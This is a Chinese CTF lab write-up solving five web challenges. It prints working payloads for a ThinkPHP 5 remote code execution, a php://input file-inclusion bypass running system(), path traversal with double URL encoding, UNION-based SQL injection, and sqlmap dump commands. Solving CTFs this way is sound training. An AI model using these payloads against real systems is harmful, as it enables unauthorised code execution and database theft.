前言

继续ctf的旅程
攻防世界web高手进阶区的2分题

1、php-rce

ThinkPHP版本5的相关漏洞
先随便输点东西试试
在这里插入图片描述
发现版本号
查了查漏洞
漏洞解析

拿个payload来试

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

发现可用

修改下，寻找flag

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

在这里插入图片描述
直接就有了

2、Web_php_include

进来是这么一段php
在这里插入图片描述
也就是说“php://”会被忽略
不过strstr是对大小写敏感的,用大写PHP绕过检测

/?page=Php://input

post输入

<?php system('ls')?>

查看文件
然后发现一个可能有flag的php
查看内容就是了
在这里插入图片描述
发现一些别的解法
四种解法

3、ics-06

题目说了报表中心遭入侵
进去后点来点去确实只有报表中心可以进去

有个日历
还写了个送分题（出题人的恶意）
在这里插入图片描述
点来点去没动静
看了看url
有个id，盲猜某个id有问题
就用burpsuite爆破下

还真是，id=2333有问题
url里输入

啧，直接就有flag了（这个id也充满恶意）

4、warmup

进去是个笑脸（充满恶意）
在这里插入图片描述
看下源码
源码里有个source.php
打开

看了看，尝试下hint.php

flag的位置有了
回去看source
根据要求
构造payload

?file=source.php?/../../../../ffffllllaaaagggg

第一个?表示传参，第二个?用来满足截取

就得到了flag
（这里四层，是试出来的，后来发现，ffffllllaaaagggg暗示了）
在这里插入图片描述

看writeup
url 编码绕过的思路是将?进行两次 url 编码，变为%253f
在服务器端提取参数时自动解码一次，checkFile函数中解码一次，仍会解码为?，可以绕过第四个 if

?file=source.php%253f/../../../../ffffllllaaaagggg

5、NewsCenter

进去点来点去没有东西
只有这么个搜索框
猜测sql注入
在这里插入图片描述
先猜字段

1' order by 2# 返回正常
1' order by 3# 返回正常
1' order by 4# 返回错误

所以有三列

暴库

1’ union select 1,2,database()#

在这里插入图片描述
爆表

1' union select 1,2,table_name from information_schema.tables where table_schema='news'#

在这里插入图片描述
爆列

1' union select 1,2,column_name from information_schema.columns where table_name='secret_table'#

在这里插入图片描述
找到flag了

1' union select 1,id,fl4g from secret_table#

在这里插入图片描述

看writeup
可以用sqlmap

sqlmap -u http://192.168.100.161:53459 --data "search=df" #获取注入点
sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs #获取数据库信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables #获取库内表信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns #获取表内字段信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump #获取字段内容，得到flag